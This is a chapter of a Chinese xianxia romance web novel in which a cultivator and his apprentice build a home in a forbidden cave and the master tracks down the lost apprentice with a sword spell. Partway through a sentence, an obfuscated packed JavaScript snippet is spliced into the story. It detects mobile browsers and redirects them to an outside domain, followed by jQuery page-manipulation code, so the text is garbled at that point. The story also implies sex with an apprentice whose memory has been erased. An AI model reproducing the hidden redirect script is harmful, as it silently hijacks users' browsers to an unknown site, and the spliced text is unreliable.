笑也许是期待明日楚兰辞的反应,还有就是反差很厉害吧,白日的时候楚兰辞还跟自己保持有礼的距离,一本正经地喊自己师父,晚上的时候,却在自己身下,胡乱地“叫”——
所以,他知道自己的状态吗?
最好笑的是,自己居然还和他演……真的有病啊自己。
次日清晨,谢酌满以为会等到楚兰辞的惊天动地,却看他坐在那里沉思,也不说什么有人打自己的话了。
“你怎么了?”谢酌故意问。
楚兰辞抬眸看向谢酌,摇摇头,“我今日……”
“今日怎么了?我们继续去做东西吧,不是你说要做其他的,让这个洞穴有‘家’——的感觉,嗯?”谢酌说这话的时候还面带笑容,他还特意地强调了家呢。
楚兰辞倒是想在,“师父,我……不知道,但我腰有点酸,不知道还能不能……”
“腰酸,是吗?”
楚兰辞没说话,默默地嗯了声。他还感觉疲乏得很,只想休息,不想走路,“要不然等一天好了,师父,我有点累。”
谢酌:“那怎么行,你偷懒啊。”他还要教他法术呢。
“没有。那……行吧。我们走吧。”楚兰辞吸了一口气,站起来,下地的那一刻,腿也软得厉害。这样肯定走不快,他慢慢走吧。他不想让谢酌看出异样,便抬头看他,却看谢酌目光灼灼地看着自己。
“我们走吧,师父。”
谢酌收回眼神,假装冷漠地嗯了声。
两人出了洞穴,再次前往那温池边,当然,楚兰辞走得慢,又不想谢酌看出来,便道:“要不然,师父,你先走吧。我捡点石头。”
谢酌回头,明知故问,“不舒服?”还好吧,太狠了?他比较沉浸,确实没怎么顾及楚兰辞的感受。但疼应该是不疼的,但应该比较酸。
楚兰辞忙摇头,“不疼……就是……我想捡点石头。”
“嗯,那我们在这儿坐一会儿。”
楚兰辞也不好再说,就这样站着,目光也没看谢酌,看向别处,假装在看石头。他看石头,谢酌却一直在观察他。
两人长久的静默,谢酌先开口,没话找话:“你昨天说要送我师门的礼物的,有没有在想了?”
楚兰辞啊了声,“……我还没想。”现在在他的记忆里,昨晚自己很早就睡了,睡着就昏昏沉沉的,哪里还有时间准备礼物。
“说话要算话的。”谢酌提醒。本来觉得没什么,现在他对楚兰辞的礼物充满了兴趣。
“嗯……”楚兰辞道,他犹犹豫豫,“师父,我怀疑这里有鬼,”
“鬼?什么鬼?”有他在,什么鬼都不敢来。
“就是艳鬼……我满脑子都是自己被……就是你说的,和男人……”他支支吾吾的,难以启齿,但还是把话说清了。
谢酌:“……你想太多了,哪里的鬼,有我在,不会有鬼的。”
楚兰辞点点头,“我也这样想。”他没说,这鬼的面貌跟谢酌一模一样,也许真的是自己想太多了。
谢酌想了想,这可是你自己说要消除记忆的,还把他说成鬼,“可能是这个寒疾,导致你产生了幻觉。”
“我也是这样想的。”
“又或者……”
“嗯?”
谢酌带了点调皮的笑,“你对我有非分之想呢。”
楚兰辞眨眨眼,有点懵懵的,他对谢酌有非分之想?为什么?是太饥渴了吗?但这也不是没这个可能,他每次看到谢酌就是乱七八糟的念头,自己被翻来覆去的,还有谢酌发狠霸道的冲击。
说不定还真的是呢。
“别想了,小笨蛋。”谢酌走到他面前,刚才是想逗逗他的小徒弟,现在嘛……
楚兰辞看到近在身前的高大挺拔身影,这种局促感更强了,可以说脸红心跳了,这就是非分之想吗?他对师父?对一个男人?楚兰辞一旦进了一个怪圈,就怎么也走不出来了。他的头脑异常简单,只有一根筋,有时候还会跟自己死犟。
现在他觉得师父说得在理。
也许他真的对师父有非分之想了。
谢酌微微一笑,在他面前转过身,又蹲下来,“来,背你过去。”
楚兰辞扭捏道:“可是我……”
“上来。”谢酌命令,“师父背徒弟天经地义。”真想打自己的脸,这辈子没说过这种自降身价的话。
“哦——”楚兰辞乖乖地应,趴到谢酌的背上了。
谢酌本还以为楚兰辞会纠结一下,没想到这么快……
好乖啊,小徒弟。
他把人背在身上,带着往前走。两人继续出发,到达温池后便开始教学。只不过今日楚兰辞就比较懈怠,在一旁看着谢酌做,看他做了一把椅子。
谢酌从一开始的不屑,到后面的沉浸式做木工,时间不知不觉地过去了。而且自己还真的从哪里搞了点皮毛,做了张毛茸茸的毯子。
他们把做好的家具都搬回洞穴,自然都是谢酌搬,至于接下来的什么帘子,花瓶什么的,全部都一一排上日程。谢酌之前说是无聊的事情,他全部都做了,还做得不亦乐乎。
就这样,几天下来,洞穴还真的有了家的感觉。
楚兰辞恢复了一天,也跟着进入制造的队伍。法术一个也够用了,他也没让谢酌继续教他,谢酌估计也是教怕了,也没提起继续教他的事情。
如今的洞穴,俨然就是一个小型的家,虽不奢华,却处处透着温香的烟火气。有各种家具,一张圆木桌摆在中央,桌上摆着一只粗陶瓶,里头斜插几枝新摘的野山樱;洞口则垂着靛青布帘,布料普通,却绣了几枝墨竹;他们还在床后头并排放了两个磨得发白的蒲团;角落里甚至有个小泥炉,上头煨着热茶。
他们还养了几只兔子。
说起养兔子这件事,也是楚兰辞提议的,说是让洞穴里热闹一些。
每次楚兰辞提出什么东西,谢酌的第一反应肯定是反对,养什么兔子啊。但他自己也不知道怎么回事,最后的结果肯定是听楚兰辞的。更莫名其妙的是,自己在楚兰辞的带领下不知不觉地干了很多他以前从未干过的事情。
自己也没空想过往的事,早起就想着如何布置,甚至连那档子事也没空想——当然前提是寒疾也没有发作。
他大概摸清这个霜寒决的发作规律,总体趋向稳定,且间隔的时间越发得长。
除了做东西,他们也没忘记修习法术这件事。抽着空,谢酌又教了楚兰辞一些极为简单的法术——虽然再简单,对楚兰辞来说都是难如登天。
但好在师父太厉害,徒弟差点也就差点吧。
这一日,春日来临,谢酌照例准备明日要做的东西,回头看床榻上没有人。
小徒弟去哪里了?他忙起身去找,这禁地说危险也是危险,可别是走丢了。
走到洞穴外,谢酌突然又停下那里。他居然忘记用法术,是不是跟楚兰辞待久了,连法术也忘记怎么用了?
而且这心怦怦跳的感觉是怎么回事?他觉得很新鲜。
他在担心……
他一边使用法术,一边下了搜罗术,本来这种搜罗术用不了多久就能找到人的。但也不知楚兰辞跑哪里去了,半天不见踪影。他一边找,一边安慰自己,这禁地能有多大,人还能跑哪里去?
到了后面法术也用了,人也找了,就是看不到楚兰辞的身影。
禁地天气多变,本还艳阳的天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924296|177113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气突然就下起了大雪——这是极有可能的。越到春日,五行萌发,禁地里的天气就越多变。
如果天黑还找不到人,楚兰辞极有可能死在禁地里。谢酌方才感觉这个小徒弟真的很脆弱,这种弱并不是说他像个女人爱哭之类的,而是全方面地不适应。
这样的人,实在不适宜在修真界生存。
但谁叫他是他的师父,哪怕自只有一日。
他沉着脸,拔出自己的青霜剑,命道:“来干活了,青霜。”剑灵还在沉睡,但只要听到主子的命令,必然第一时间苏醒,一点也不敢罢工。
谢酌并指如刀,自青霜剑脊一抹而过——
“铮——!”剑身陡然迸发出刺目寒光,霜纹自刃口层层绽开,如冰莲怒放。他反手将剑倒插于地,冷喝一声:
“青霜为引,万里同踪——”
剑尖触地刹那,方圆十里的霜雪尽数悬浮而起,化作无数冰晶丝线,蛛网般向禁地深处蔓延。每根丝线末端都缀着星芒,照亮了常年被瘴气笼罩的枯林、冰川……
瞬间,谢酌眼前出现一个冰络地图,然后他一眼就看到正中央那个慢腾腾正在寻路的小人儿。
他看着他走路缓慢,不由地想笑,当然不是嘲笑,而是……他以前也不是没见过凡人,单就觉得楚兰辞可爱得不行。
可爱的小家伙,两人双修的时候尤其可爱。
他刚一开始的担心,转而到了现在的松了一口气。
没有再多停留,他要带他的小徒弟回家了。
……
楚兰辞迷路了,他今日来,是打算摘点灵草回去。但在回去的时候就……
有些茫然又无助,早知道应该和师父说一声的。但他不想麻烦师父,就为了这么一点小事。总之就是不太好吧。再说了,他摘这些东西是为了私心,想攒点带出去卖钱。
走了一会儿就看到前方站着一个熟悉的身影,楚兰辞都怀疑自己看错了,等看清后,忙奔跑地过去了,大喊:“师父!”喜上眉梢。
谢酌决定要告诉楚兰辞乱跑的严重性,便肃然道:“禁地很危险,我好像刚来就告诉过你。你不该一个人去。”
楚兰辞第一次看谢酌这么严肃,愣愣地望着谢酌。
“怎么了?怎么不说话?”被他吓到了?
楚兰辞哪里是被吓到了,他是还没反应过来,现在反应过来了,慢慢地回道:“师父,我知道。可你忘了,我有你给的符箓,诺?”他把自己的符箓拿出来。他也是有所准备才出来的,他也知道这里很危险。
谢酌一看,还真的是自己给的,刚才自己担心都忘了这茬,“那你怎么不用?”
楚兰辞:“我不想麻烦师父啊。”
他好歹是个成年男子吧,有手有脚,为什么师父总是把他当小孩呢?
谢酌有些不知该怎么说,但上次两人双修的时候,楚兰辞也是这样跟他分得很清。
“——反正我也没事做。”
楚兰辞笑道:“可我总不能让师父当护卫嘛。我知道师父关心我,谢谢你。——离开禁地后,真的好舍不得跟师父分开啊。”他边笑着招手,边往前走,“我们快回去吧,师父。”
是的,春天到了,两人也要准备离开这禁地了。
谢酌望着那逐渐远去的瘦削背影,他得承认一件事,小徒弟虽然弱,但好像活得很自在,也好像并不是很需要他这个师父。
离开禁地后,他一定也能过得很好吧。毕竟他会做这么多事情,虽然能力普通,但也在努力生活。
不过,等一下,楚兰辞刚才是不是说,舍不得自己?
这句话的意思是,他不想跟自己分开吧。
嗯,一定是这个意思。